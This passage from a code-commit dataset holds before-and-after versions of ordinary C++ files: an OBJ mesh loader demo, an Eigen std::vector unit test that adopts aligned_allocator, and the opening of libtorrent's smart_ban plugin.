fclose_count = 0;\n}\n\nTEST(BufferedFileTest, FilenoNoRetry) {\n  File read_end, write_end;\n  File::pipe(read_end, write_end);\n  BufferedFile f = read_end.fdopen(\"r\");\n  fileno_count = 1;\n  EXPECT_SYSTEM_ERROR(f.fileno(), EINTR, \"cannot get file descriptor\");\n  EXPECT_EQ(2, fileno_count);\n  fileno_count = 0;\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"model\/obj.hpp\"\n\n#include <iomanip>\n#include <iostream>\n#include <ostream>\n#include <sstream>\n#include <type_traits>\n\n#ifndef OBJ_PATH\n#define OBJ_PATH \"share\/cube.obj\"\n#endif\n#ifndef MTL_PATH\n#define MTL_PATH \"share\/cube.mtl\"\n#endif\n\nint main(int argc, const char **argv) {\n\tusing namespace Model;\n\tconst char *obj_fname, *mtl_fname;\n\tif(argc >= 3) {\n\t\tmtl_fname = argv[2];\n\t} else {\n\t\tmtl_fname = MTL_PATH;\n\t}\n\tif(argc >= 2) {\n\t\tobj_fname = argv[1];\n\t} else {\n\t\tobj_fname = OBJ_PATH;\n\t}\n\tobj_t obj;\n\tendl(std::cout << \"File: \" << obj_fname);\n\tswitch(obj_t::load(obj_fname, obj)) {\n\t\tcase obj_t::e_err_io:\n\t\t\tstd::cout << \"Status: I\/O Error\\n\" << std::endl;\n\t\t\tbreak;\n\t\tcase obj_t::e_ok:\n\t\t\tstd::cout << \"Status: OK\\n\" << std::endl;\n\t\t\tbreak;\n\t\tcase obj_t::e_err_unknown:\n\t\t\tstd::cout << \"Status: Unknown\\n\" << std::endl;\n\t\t\tbreak;\n\t\tdefault:\n\t\t\tbreak;\n\t}\n\tint counter = 0, fCounter = 0, iCounter = 0, sCounter = 0;\n\tfor(auto beg = std::begin(obj.types); beg != std::end(obj.types); beg++) {\n\t\tint nb = obj.nBools[counter], nf = obj.nFloats[counter],\n\t\t\tni = obj.nInts[counter], ns = obj.nStrings[counter];\n\t\tstd::cout << std::setw(4) << counter << \". \" << *beg << \" \";\n\t\tfor(int i = 0; i < nb; ++i) {\n\t\t\tstd::cout << obj.bools[fCounter++] << \" \";\n\t\t}\n\t\tfor(int i = 0; i < nf; ++i) {\n\t\t\tstd::cout << obj.floats[fCounter++] << \" \";\n\t\t}\n\t\tfor(int i = 0; i < ni; ++i) {\n\t\t\tstd::cout << obj.ints[iCounter++] << \" \";\n\t\t}\n\t\tfor(int i = 0; i < ns; ++i) {\n\t\t\tstd::cout << obj.strings[sCounter++] << \" \";\n\t\t}\n\t\tcounter++;\n\t\tendl(std::cout);\n\t}\n\t\/*std::cout << \"Contiguous data: \" << std::endl;\n\tendl(std::cout << \"Bools:\" << obj.bools.size());\n\tfor(auto it : obj.bools) std::cout << it << \" \";\n\tendl(std::cout << \"\\nFloats:\" << obj.floats.size());\n\tfor(auto it : obj.floats) std::cout << it << \" \";\n\tendl(std::cout << \"\\nIntegers:\" << obj.ints.size());\n\tfor(auto it : obj.ints) std::cout << it << \" \";\n\tendl(std::cout << \"\\nStrings:\" << obj.strings.size());\n\tfor(auto it : obj.strings) std::cout << it << \" \";\n\tendl(std::cout);*\/\n\n\t\/*auto f_it = std::begin(obj.floats);\n\tauto i_it = std::begin(obj.ints);\n\tauto nf_it = std::begin(obj.nFloats);\n\tauto ni_it = std::begin(obj.nInts);\n\tfor(auto t_it = std::begin(obj.types);\n\t\t\tt_it != std::end(obj.types); t_it++) {\n\t\tbool vmatch = *t_it == e_el_v,\n\t\t\t vnmatch = *t_it == e_el_vn,\n\t\t\t f2match = *t_it == e_el_f2;\n\t\tif(*nf_it > 0) {\n\t\t\tif(vmatch) {\n\t\t\t\tstd::cout << \"\\nVertex: \";\n\t\t\t} else if(vnmatch) {\n\t\t\t\tstd::cout << \"\\nVertex norm: \";\n\t\t\t}\n\t\t\tfor(int i = 0, iMax = *nf_it; i < iMax; ++i) {\n\t\t\t\tif(vmatch || vnmatch) {\n\t\t\t\t\tstd::cout << *f_it << \" \";\n\t\t\t\t}\n\t\t\t\tf_it++;\n\t\t\t}\n\t\t}\n\t\tif(*ni_it > 0) {\n\t\t\tif(f2match) {\n\t\t\t\tstd::cout << \"\\nFace: \";\n\t\t\t}\n\t\t\tfor(int i = 0, iMax = *ni_it; i < iMax; ++i) {\n\t\t\t\tif(f2match) {\n\t\t\t\t\tstd::cout << *i_it << \" \";\n\t\t\t\t}\n\t\t\t\ti_it++;\n\t\t\t}\n\t\t}\n\t\tnf_it++;\n\t\tni_it++;\n\t}\n\tstd::cout << \"\\n\\n\";*\/\n\n\tfor(int i = 0; i < 7; i++) {\n\t\tstd::vector<int> begs, ends;\n\t\tswitch(i) {\n\t\t\tcase 0: begs = obj.v_beg; ends = obj.v_end;\n\t\t\t\tstd::cout << \"Vertex range: \" << std::endl;\n\t\t\t\tbreak;\n\t\t\tcase 1: begs = obj.vn_beg; ends = obj.vn_end;\n\t\t\t\tstd::cout << \"Normal range: \" << std::endl;\n\t\t\t\tbreak;\n\t\t\tcase 2: begs = obj.vp_beg; ends = obj.vp_end;\n\t\t\t\tstd::cout << \"Texture range: \" << std::endl;\n\t\t\t\tbreak;\n\t\t\tcase 3: begs = obj.f0_beg; ends = obj.f0_end;\n\t\t\t\tstd::cout << \"Face(0) range: \" << std::endl;\n\t\t\t\tbreak;\n\t\t\tcase 4: begs = obj.f1_beg; ends = obj.f1_end;\n\t\t\t\tstd::cout << \"Face(1) range: \" << std::endl;\n\t\t\t\tbreak;\n\t\t\tcase 5: begs = obj.f2_beg; ends = obj.f2_end;\n\t\t\t\tstd::cout << \"Face(2) range: \" << std::endl;\n\t\t\t\tbreak;\n\t\t\tcase 6: begs = obj.f3_beg; ends = obj.f3_end;\n\t\t\t\tstd::cout << \"Face(3) range: \" << std::endl;\n\t\t\t\tbreak;\n\t\t\tdefault: break;\n\t\t}\n\t\tauto beg_start = std::begin(begs), beg_stop = std::end(begs),\n\t\t\t end_start = std::begin(ends), end_stop = std::end(ends);\n\t\twhile(beg_start != beg_stop) {\n\t\t\tstd::cout << \"{\" << *beg_start++ << \", \"\n\t\t\t\t<< *end_start++ << \"}\" << std::endl;\n\t\t}\n\t}\n\n\tmaterial_t mtl;\n\tstd::cout << \"\\nFile: \" << mtl_fname << std::endl;\n\tswitch(mtl.load(mtl_fname, mtl)) {\n\t\tcase material_t::e_ok: {\n\t\t\tstd::cout << \"Status: OK\" << std::endl;\n\t\t} break;\n\t\tcase material_t::e_err_io: {\n\t\t\tstd::cout << \"Status: I\/O error\" << std::endl;\n\t\t} break;\n\t\tcase material_t::e_err_unknown: {\n\t\t\tstd::cout << \"Status: Unknown\" << std::endl;\n\t\t} break;\n\t\tdefault: {} break;\n\t}\n\n\tint w = 3, h = 3;\n\tmesh_t mesh(w, h, [](float u, float v, std::vector<float> &vertices) {\n\t\tvertices.emplace_back(u);\n\t\tvertices.emplace_back(v);\n\t\tvertices.emplace_back(0);\n\t});\n\n\tstd::cout << \"\\nMesh points: \";\n\tfor(auto f : mesh.vertices) {\n\t\tstd::cout << f << ' ';\n\t}\n\tstd::cout << \"\\nMesh faces: \";\n\tfor(auto i : mesh.faces) {\n\t\tstd::cout << i << ' ';\n\t}\n\tendl(std::cout);\n}\n<commit_msg>Made mesh printout easier to read<commit_after>#include \"model\/obj.hpp\"\n\n#include <iomanip>\n#include <iostream>\n#include <ostream>\n#include <sstream>\n#include <type_traits>\n\n#ifndef OBJ_PATH\n#define OBJ_PATH \"share\/cube.obj\"\n#endif\n#ifndef MTL_PATH\n#define MTL_PATH \"share\/cube.mtl\"\n#endif\n\nint main(int argc, const char **argv) {\n\tusing namespace Model;\n\tconst char *obj_fname, *mtl_fname;\n\tif(argc >= 3) {\n\t\tmtl_fname = argv[2];\n\t} else {\n\t\tmtl_fname = MTL_PATH;\n\t}\n\tif(argc >= 2) {\n\t\tobj_fname = argv[1];\n\t} else {\n\t\tobj_fname = OBJ_PATH;\n\t}\n\tobj_t obj;\n\tendl(std::cout << \"File: \" << obj_fname);\n\tswitch(obj_t::load(obj_fname, obj)) {\n\t\tcase obj_t::e_err_io:\n\t\t\tstd::cout << \"Status: I\/O Error\\n\" << std::endl;\n\t\t\tbreak;\n\t\tcase obj_t::e_ok:\n\t\t\tstd::cout << \"Status: OK\\n\" << std::endl;\n\t\t\tbreak;\n\t\tcase obj_t::e_err_unknown:\n\t\t\tstd::cout << \"Status: Unknown\\n\" << std::endl;\n\t\t\tbreak;\n\t\tdefault:\n\t\t\tbreak;\n\t}\n\tint counter = 0, fCounter = 0, iCounter = 0, sCounter = 0;\n\tfor(auto beg = std::begin(obj.types); beg != std::end(obj.types); beg++) {\n\t\tint nb = obj.nBools[counter], nf = obj.nFloats[counter],\n\t\t\tni = obj.nInts[counter], ns = obj.nStrings[counter];\n\t\tstd::cout << std::setw(4) << counter << \". \" << *beg << \" \";\n\t\tfor(int i = 0; i < nb; ++i) {\n\t\t\tstd::cout << obj.bools[fCounter++] << \" \";\n\t\t}\n\t\tfor(int i = 0; i < nf; ++i) {\n\t\t\tstd::cout << obj.floats[fCounter++] << \" \";\n\t\t}\n\t\tfor(int i = 0; i < ni; ++i) {\n\t\t\tstd::cout << obj.ints[iCounter++] << \" \";\n\t\t}\n\t\tfor(int i = 0; i < ns; ++i) {\n\t\t\tstd::cout << obj.strings[sCounter++] << \" \";\n\t\t}\n\t\tcounter++;\n\t\tendl(std::cout);\n\t}\n\t\/*std::cout << \"Contiguous data: \" << std::endl;\n\tendl(std::cout << \"Bools:\" << obj.bools.size());\n\tfor(auto it : obj.bools) std::cout << it << \" \";\n\tendl(std::cout << \"\\nFloats:\" << obj.floats.size());\n\tfor(auto it : obj.floats) std::cout << it << \" \";\n\tendl(std::cout << \"\\nIntegers:\" << obj.ints.size());\n\tfor(auto it : obj.ints) std::cout << it << \" \";\n\tendl(std::cout << \"\\nStrings:\" << obj.strings.size());\n\tfor(auto it : obj.strings) std::cout << it << \" \";\n\tendl(std::cout);*\/\n\n\t\/*auto f_it = std::begin(obj.floats);\n\tauto i_it = std::begin(obj.ints);\n\tauto nf_it = std::begin(obj.nFloats);\n\tauto ni_it = std::begin(obj.nInts);\n\tfor(auto t_it = std::begin(obj.types);\n\t\t\tt_it != std::end(obj.types); t_it++) {\n\t\tbool vmatch = *t_it == e_el_v,\n\t\t\t vnmatch = *t_it == e_el_vn,\n\t\t\t f2match = *t_it == e_el_f2;\n\t\tif(*nf_it > 0) {\n\t\t\tif(vmatch) {\n\t\t\t\tstd::cout << \"\\nVertex: \";\n\t\t\t} else if(vnmatch) {\n\t\t\t\tstd::cout << \"\\nVertex norm: \";\n\t\t\t}\n\t\t\tfor(int i = 0, iMax = *nf_it; i < iMax; ++i) {\n\t\t\t\tif(vmatch || vnmatch) {\n\t\t\t\t\tstd::cout << *f_it << \" \";\n\t\t\t\t}\n\t\t\t\tf_it++;\n\t\t\t}\n\t\t}\n\t\tif(*ni_it > 0) {\n\t\t\tif(f2match) {\n\t\t\t\tstd::cout << \"\\nFace: \";\n\t\t\t}\n\t\t\tfor(int i = 0, iMax = *ni_it; i < iMax; ++i) {\n\t\t\t\tif(f2match) {\n\t\t\t\t\tstd::cout << *i_it << \" \";\n\t\t\t\t}\n\t\t\t\ti_it++;\n\t\t\t}\n\t\t}\n\t\tnf_it++;\n\t\tni_it++;\n\t}\n\tstd::cout << \"\\n\\n\";*\/\n\n\tfor(int i = 0; i < 7; i++) {\n\t\tstd::vector<int> begs, ends;\n\t\tswitch(i) {\n\t\t\tcase 0: begs = obj.v_beg; ends = obj.v_end;\n\t\t\t\tstd::cout << \"Vertex range: \" << std::endl;\n\t\t\t\tbreak;\n\t\t\tcase 1: begs = obj.vn_beg; ends = obj.vn_end;\n\t\t\t\tstd::cout << \"Normal range: \" << std::endl;\n\t\t\t\tbreak;\n\t\t\tcase 2: begs = obj.vp_beg; ends = obj.vp_end;\n\t\t\t\tstd::cout << \"Texture range: \" << std::endl;\n\t\t\t\tbreak;\n\t\t\tcase 3: begs = obj.f0_beg; ends = obj.f0_end;\n\t\t\t\tstd::cout << \"Face(0) range: \" << std::endl;\n\t\t\t\tbreak;\n\t\t\tcase 4: begs = obj.f1_beg; ends = obj.f1_end;\n\t\t\t\tstd::cout << \"Face(1) range: \" << std::endl;\n\t\t\t\tbreak;\n\t\t\tcase 5: begs = obj.f2_beg; ends = obj.f2_end;\n\t\t\t\tstd::cout << \"Face(2) range: \" << std::endl;\n\t\t\t\tbreak;\n\t\t\tcase 6: begs = obj.f3_beg; ends = obj.f3_end;\n\t\t\t\tstd::cout << \"Face(3) range: \" << std::endl;\n\t\t\t\tbreak;\n\t\t\tdefault: break;\n\t\t}\n\t\tauto beg_start = std::begin(begs), beg_stop = std::end(begs),\n\t\t\t end_start = std::begin(ends), end_stop = std::end(ends);\n\t\twhile(beg_start != beg_stop) {\n\t\t\tstd::cout << \"{\" << *beg_start++ << \", \"\n\t\t\t\t<< *end_start++ << \"}\" << std::endl;\n\t\t}\n\t}\n\n\tmaterial_t mtl;\n\tstd::cout << \"\\nFile: \" << mtl_fname << std::endl;\n\tswitch(mtl.load(mtl_fname, mtl)) {\n\t\tcase material_t::e_ok: {\n\t\t\tstd::cout << \"Status: OK\" << std::endl;\n\t\t} break;\n\t\tcase material_t::e_err_io: {\n\t\t\tstd::cout << \"Status: I\/O error\" << std::endl;\n\t\t} break;\n\t\tcase material_t::e_err_unknown: {\n\t\t\tstd::cout << \"Status: Unknown\" << std::endl;\n\t\t} break;\n\t\tdefault: {} break;\n\t}\n\n\tint w = 3, h = 3;\n\tmesh_t mesh(w, h, [](float s, float t, std::vector<float> &vertices) {\n\t\tauto theta = s*M_PI*2, phi = t*M_PI;\n\t\tvertices.emplace_back(cos(theta)*sin(phi));\n\t\tvertices.emplace_back(sin(theta)*sin(phi));\n\t\tvertices.emplace_back(cos(phi));\n\t});\n\n\tstd::cout << \"\\nMesh points: \\n\";\n\tint i = 0;\n\tfor(auto v : mesh.vertices) {\n\t\tstd::cout << v << ' ';\n\t\tif(i++ % 3 == 2) {\n\t\t\tendl(std::cout);\n\t\t}\n\t}\n\tstd::cout << \"\\nMesh faces: \\n\";\n\tfor(auto f : mesh.faces) {\n\t\t\/\/ Divide by 3 to get vertex index\n\t\tstd::cout << f\/3 << ' ';\n\t\tif(i++ % 3 == 2) {\n\t\t\tendl(std::cout);\n\t\t}\n\t}\n\tendl(std::cout);\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ This file is part of Eigen, a lightweight C++ template library\n\/\/ for linear algebra. Eigen itself is part of the KDE project.\n\/\/\n\/\/ Copyright (C) 2008 Benoit Jacob <jacob.benoit.1@gmail.com>\n\/\/\n\/\/ Eigen is free software; you can redistribute it and\/or\n\/\/ modify it under the terms of the GNU Lesser General Public\n\/\/ License as published by the Free Software Foundation; either\n\/\/ version 3 of the License, or (at your option) any later version.\n\/\/\n\/\/ Alternatively, you can redistribute it and\/or\n\/\/ modify it under the terms of the GNU General Public License as\n\/\/ published by the Free Software Foundation; either version 2 of\n\/\/ the License, or (at your option) any later version.\n\/\/\n\/\/ Eigen is distributed in the hope that it will be useful, but WITHOUT ANY\n\/\/ WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS\n\/\/ FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License or the\n\/\/ GNU General Public License for more details.\n\/\/\n\/\/ You should have received a copy of the GNU Lesser General Public\n\/\/ License and a copy of the GNU General Public License along with\n\/\/ Eigen. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n\n#include <Eigen\/StdVector>\n#include \"main.h\"\n#include <Eigen\/Geometry>\n\ntemplate<typename MatrixType>\nvoid check_stdvector_matrix(const MatrixType& m)\n{\n  int rows = m.rows();\n  int cols = m.cols();\n  MatrixType x = MatrixType::Random(rows,cols), y = MatrixType::Random(rows,cols);\n  std::vector<MatrixType> v(10, MatrixType(rows,cols)), w(20, y);\n  v[5] = x;\n  w[6] = v[5];\n  VERIFY_IS_APPROX(w[6], v[5]);\n  v = w;\n  for(int i = 0; i < 20; i++)\n  {\n    VERIFY_IS_APPROX(w[i], v[i]);\n  }\n\n  v.resize(21);\n  v[20] = x;\n  VERIFY_IS_APPROX(v[20], x);\n  v.resize(22,y);\n  VERIFY_IS_APPROX(v[21], y);\n  v.push_back(x);\n  VERIFY_IS_APPROX(v[22], x);\n  VERIFY((size_t)&(v[22]) == (size_t)&(v[21]) + sizeof(MatrixType));\n\n  \/\/ do a lot of push_back such that the vector gets internally resized\n  \/\/ (with memory reallocation)\n  MatrixType* ref = &w[0];\n  for(int i=0; i<30 || ((ref==&w[0]) && i<300); ++i)\n    v.push_back(w[i%w.size()]);\n  for(unsigned int i=23; i<v.size(); ++i)\n  {\n    VERIFY(v[i]==w[(i-23)%w.size()]);\n  }\n}\n\ntemplate<typename TransformType>\nvoid check_stdvector_transform(const TransformType&)\n{\n  typedef typename TransformType::MatrixType MatrixType;\n  TransformType x(MatrixType::Random()), y(MatrixType::Random());\n  std::vector<TransformType> v(10), w(20, y);\n  v[5] = x;\n  w[6] = v[5];\n  VERIFY_IS_APPROX(w[6], v[5]);\n  v = w;\n  for(int i = 0; i < 20; i++)\n  {\n    VERIFY_IS_APPROX(w[i], v[i]);\n  }\n\n  v.resize(21);\n  v[20] = x;\n  VERIFY_IS_APPROX(v[20], x);\n  v.resize(22,y);\n  VERIFY_IS_APPROX(v[21], y);\n  v.push_back(x);\n  VERIFY_IS_APPROX(v[22], x);\n  VERIFY((size_t)&(v[22]) == (size_t)&(v[21]) + sizeof(TransformType));\n\n  \/\/ do a lot of push_back such that the vector gets internally resized\n  \/\/ (with memory reallocation)\n  TransformType* ref = &w[0];\n  for(int i=0; i<30 || ((ref==&w[0]) && i<300); ++i)\n    v.push_back(w[i%w.size()]);\n  for(unsigned int i=23; i<v.size(); ++i)\n  {\n    VERIFY(v[i].matrix()==w[(i-23)%w.size()].matrix());\n  }\n}\n\ntemplate<typename QuaternionType>\nvoid check_stdvector_quaternion(const QuaternionType&)\n{\n  typedef typename QuaternionType::Coefficients Coefficients;\n  QuaternionType x(Coefficients::Random()), y(Coefficients::Random());\n  std::vector<QuaternionType> v(10), w(20, y);\n  v[5] = x;\n  w[6] = v[5];\n  VERIFY_IS_APPROX(w[6], v[5]);\n  v = w;\n  for(int i = 0; i < 20; i++)\n  {\n    VERIFY_IS_APPROX(w[i], v[i]);\n  }\n\n  v.resize(21);\n  v[20] = x;\n  VERIFY_IS_APPROX(v[20], x);\n  v.resize(22,y);\n  VERIFY_IS_APPROX(v[21], y);\n  v.push_back(x);\n  VERIFY_IS_APPROX(v[22], x);\n  VERIFY((size_t)&(v[22]) == (size_t)&(v[21]) + sizeof(QuaternionType));\n\n  \/\/ do a lot of push_back such that the vector gets internally resized\n  \/\/ (with memory reallocation)\n  QuaternionType* ref = &w[0];\n  for(int i=0; i<30 || ((ref==&w[0]) && i<300); ++i)\n    v.push_back(w[i%w.size()]);\n  for(unsigned int i=23; i<v.size(); ++i)\n  {\n    VERIFY(v[i].coeffs()==w[(i-23)%w.size()].coeffs());\n  }\n}\n\nvoid test_stdvector()\n{\n  \/\/ some non vectorizable fixed sizes\n  CALL_SUBTEST(check_stdvector_matrix(Vector2f()));\n  CALL_SUBTEST(check_stdvector_matrix(Matrix3f()));\n  CALL_SUBTEST(check_stdvector_matrix(Matrix3d()));\n\n  \/\/ some vectorizable fixed sizes\n  CALL_SUBTEST(check_stdvector_matrix(Matrix2f()));\n  CALL_SUBTEST(check_stdvector_matrix(Vector4f()));\n  CALL_SUBTEST(check_stdvector_matrix(Matrix4f()));\n  CALL_SUBTEST(check_stdvector_matrix(Matrix4d()));\n\n  \/\/ some dynamic sizes\n  CALL_SUBTEST(check_stdvector_matrix(MatrixXd(1,1)));\n  CALL_SUBTEST(check_stdvector_matrix(VectorXd(20)));\n  CALL_SUBTEST(check_stdvector_matrix(RowVectorXf(20)));\n  CALL_SUBTEST(check_stdvector_matrix(MatrixXcf(10,10)));\n\n  \/\/ some Transform\n  CALL_SUBTEST(check_stdvector_transform(Transform2f()));\n  CALL_SUBTEST(check_stdvector_transform(Transform3f()));\n  CALL_SUBTEST(check_stdvector_transform(Transform3d()));\n  \/\/CALL_SUBTEST(check_stdvector_transform(Transform4d()));\n\n  \/\/ some Quaternion\n  CALL_SUBTEST(check_stdvector_quaternion(Quaternionf()));\n  CALL_SUBTEST(check_stdvector_quaternion(Quaternionf()));\n}\n<commit_msg>\"forgot to commit the required changes in stdvector unit test\"<commit_after>\/\/ This file is part of Eigen, a lightweight C++ template library\n\/\/ for linear algebra. Eigen itself is part of the KDE project.\n\/\/\n\/\/ Copyright (C) 2008 Benoit Jacob <jacob.benoit.1@gmail.com>\n\/\/\n\/\/ Eigen is free software; you can redistribute it and\/or\n\/\/ modify it under the terms of the GNU Lesser General Public\n\/\/ License as published by the Free Software Foundation; either\n\/\/ version 3 of the License, or (at your option) any later version.\n\/\/\n\/\/ Alternatively, you can redistribute it and\/or\n\/\/ modify it under the terms of the GNU General Public License as\n\/\/ published by the Free Software Foundation; either version 2 of\n\/\/ the License, or (at your option) any later version.\n\/\/\n\/\/ Eigen is distributed in the hope that it will be useful, but WITHOUT ANY\n\/\/ WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS\n\/\/ FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License or the\n\/\/ GNU General Public License for more details.\n\/\/\n\/\/ You should have received a copy of the GNU Lesser General Public\n\/\/ License and a copy of the GNU General Public License along with\n\/\/ Eigen. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n\n#include <Eigen\/StdVector>\n#include \"main.h\"\n#include <Eigen\/Geometry>\n\ntemplate<typename MatrixType>\nvoid check_stdvector_matrix(const MatrixType& m)\n{\n  int rows = m.rows();\n  int cols = m.cols();\n  MatrixType x = MatrixType::Random(rows,cols), y = MatrixType::Random(rows,cols);\n  std::vector<MatrixType,Eigen::aligned_allocator<MatrixType> > v(10, MatrixType(rows,cols)), w(20, y);\n  v[5] = x;\n  w[6] = v[5];\n  VERIFY_IS_APPROX(w[6], v[5]);\n  v = w;\n  for(int i = 0; i < 20; i++)\n  {\n    VERIFY_IS_APPROX(w[i], v[i]);\n  }\n\n  v.resize(21);\n  v[20] = x;\n  VERIFY_IS_APPROX(v[20], x);\n  v.resize(22,y);\n  VERIFY_IS_APPROX(v[21], y);\n  v.push_back(x);\n  VERIFY_IS_APPROX(v[22], x);\n  VERIFY((size_t)&(v[22]) == (size_t)&(v[21]) + sizeof(MatrixType));\n\n  \/\/ do a lot of push_back such that the vector gets internally resized\n  \/\/ (with memory reallocation)\n  MatrixType* ref = &w[0];\n  for(int i=0; i<30 || ((ref==&w[0]) && i<300); ++i)\n    v.push_back(w[i%w.size()]);\n  for(unsigned int i=23; i<v.size(); ++i)\n  {\n    VERIFY(v[i]==w[(i-23)%w.size()]);\n  }\n}\n\ntemplate<typename TransformType>\nvoid check_stdvector_transform(const TransformType&)\n{\n  typedef typename TransformType::MatrixType MatrixType;\n  TransformType x(MatrixType::Random()), y(MatrixType::Random());\n  std::vector<TransformType,Eigen::aligned_allocator<TransformType> > v(10), w(20, y);\n  v[5] = x;\n  w[6] = v[5];\n  VERIFY_IS_APPROX(w[6], v[5]);\n  v = w;\n  for(int i = 0; i < 20; i++)\n  {\n    VERIFY_IS_APPROX(w[i], v[i]);\n  }\n\n  v.resize(21);\n  v[20] = x;\n  VERIFY_IS_APPROX(v[20], x);\n  v.resize(22,y);\n  VERIFY_IS_APPROX(v[21], y);\n  v.push_back(x);\n  VERIFY_IS_APPROX(v[22], x);\n  VERIFY((size_t)&(v[22]) == (size_t)&(v[21]) + sizeof(TransformType));\n\n  \/\/ do a lot of push_back such that the vector gets internally resized\n  \/\/ (with memory reallocation)\n  TransformType* ref = &w[0];\n  for(int i=0; i<30 || ((ref==&w[0]) && i<300); ++i)\n    v.push_back(w[i%w.size()]);\n  for(unsigned int i=23; i<v.size(); ++i)\n  {\n    VERIFY(v[i].matrix()==w[(i-23)%w.size()].matrix());\n  }\n}\n\ntemplate<typename QuaternionType>\nvoid check_stdvector_quaternion(const QuaternionType&)\n{\n  typedef typename QuaternionType::Coefficients Coefficients;\n  QuaternionType x(Coefficients::Random()), y(Coefficients::Random());\n  std::vector<QuaternionType,Eigen::aligned_allocator<QuaternionType> > v(10), w(20, y);\n  v[5] = x;\n  w[6] = v[5];\n  VERIFY_IS_APPROX(w[6], v[5]);\n  v = w;\n  for(int i = 0; i < 20; i++)\n  {\n    VERIFY_IS_APPROX(w[i], v[i]);\n  }\n\n  v.resize(21);\n  v[20] = x;\n  VERIFY_IS_APPROX(v[20], x);\n  v.resize(22,y);\n  VERIFY_IS_APPROX(v[21], y);\n  v.push_back(x);\n  VERIFY_IS_APPROX(v[22], x);\n  VERIFY((size_t)&(v[22]) == (size_t)&(v[21]) + sizeof(QuaternionType));\n\n  \/\/ do a lot of push_back such that the vector gets internally resized\n  \/\/ (with memory reallocation)\n  QuaternionType* ref = &w[0];\n  for(int i=0; i<30 || ((ref==&w[0]) && i<300); ++i)\n    v.push_back(w[i%w.size()]);\n  for(unsigned int i=23; i<v.size(); ++i)\n  {\n    VERIFY(v[i].coeffs()==w[(i-23)%w.size()].coeffs());\n  }\n}\n\nvoid test_stdvector()\n{\n  \/\/ some non vectorizable fixed sizes\n  CALL_SUBTEST(check_stdvector_matrix(Vector2f()));\n  CALL_SUBTEST(check_stdvector_matrix(Matrix3f()));\n  CALL_SUBTEST(check_stdvector_matrix(Matrix3d()));\n\n  \/\/ some vectorizable fixed sizes\n  CALL_SUBTEST(check_stdvector_matrix(Matrix2f()));\n  CALL_SUBTEST(check_stdvector_matrix(Vector4f()));\n  CALL_SUBTEST(check_stdvector_matrix(Matrix4f()));\n  CALL_SUBTEST(check_stdvector_matrix(Matrix4d()));\n\n  \/\/ some dynamic sizes\n  CALL_SUBTEST(check_stdvector_matrix(MatrixXd(1,1)));\n  CALL_SUBTEST(check_stdvector_matrix(VectorXd(20)));\n  CALL_SUBTEST(check_stdvector_matrix(RowVectorXf(20)));\n  CALL_SUBTEST(check_stdvector_matrix(MatrixXcf(10,10)));\n\n  \/\/ some Transform\n  CALL_SUBTEST(check_stdvector_transform(Transform2f()));\n  CALL_SUBTEST(check_stdvector_transform(Transform3f()));\n  CALL_SUBTEST(check_stdvector_transform(Transform3d()));\n  \/\/CALL_SUBTEST(check_stdvector_transform(Transform4d()));\n\n  \/\/ some Quaternion\n  CALL_SUBTEST(check_stdvector_quaternion(Quaternionf()));\n  CALL_SUBTEST(check_stdvector_quaternion(Quaternionf()));\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n\nCopyright (c) 2007, Arvid Norberg\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions\nare met:\n\n    * Redistributions of source code must retain the above copyright\n      notice, this list of conditions and the following disclaimer.\n    * Redistributions in binary form must reproduce the above copyright\n      notice, this list of conditions and the following disclaimer in\n      the documentation and\/or other materials provided with the distribution.\n    * Neither the name of the author nor the names of its\n      contributors may be used to endorse or promote products derived\n      from this software without specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\nARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\nLIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\nCONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\nSUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\nINTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\nCONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\nARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\nPOSSIBILITY OF SUCH DAMAGE.\n\n*\/\n\n#include \"libtorrent\/pch.hpp\"\n\n#ifdef _MSC_VER\n#pragma warning(push, 1)\n#endif\n\n#include <boost\/shared_ptr.hpp>\n#include <boost\/enable_shared_from_this.hpp>\n#include <boost\/lexical_cast.hpp>\n\n#ifdef _MSC_VER\n#pragma warning(pop)\n#endif\n\n#include <vector>\n#include <map>\n#include <utility>\n#include <numeric>\n#include <cstdio>\n\n#include \"libtorrent\/peer_connection.hpp\"\n#include \"libtorrent\/bt_peer_connection.hpp\"\n#include \"libtorrent\/hasher.hpp\"\n#include \"libtorrent\/bencode.hpp\"\n#include \"libtorrent\/torrent.hpp\"\n#include \"libtorrent\/extensions.hpp\"\n#include \"libtorrent\/extensions\/smart_ban.hpp\"\n#include \"libtorrent\/alert_types.hpp\"\n#include \"libtorrent\/disk_io_thread.hpp\"\n#include \"libtorrent\/aux_\/session_impl.hpp\"\n\nnamespace libtorrent { namespace\n{\n\n\tstruct smart_ban_plugin : torrent_plugin, boost::enable_shared_from_this<smart_ban_plugin>\n\t{\n\t\tsmart_ban_plugin(torrent& t)\n\t\t\t: m_torrent(t)\n\t\t\t, m_salt(rand())\n\t\t{\n\t\t}\n\n\t\tvoid on_piece_pass(int p)\n\t\t{\n#ifdef TORRENT_LOGGING\n\t\t\t(*m_torrent.session().m_logger) << time_now_string() << \" PIECE PASS [ p: \" << p\n\t\t\t\t<< \" | block_crc_size: \" << m_block_crc.size() << \" ]\\n\";\n#endif\n\t\t\t\/\/ has this piece failed 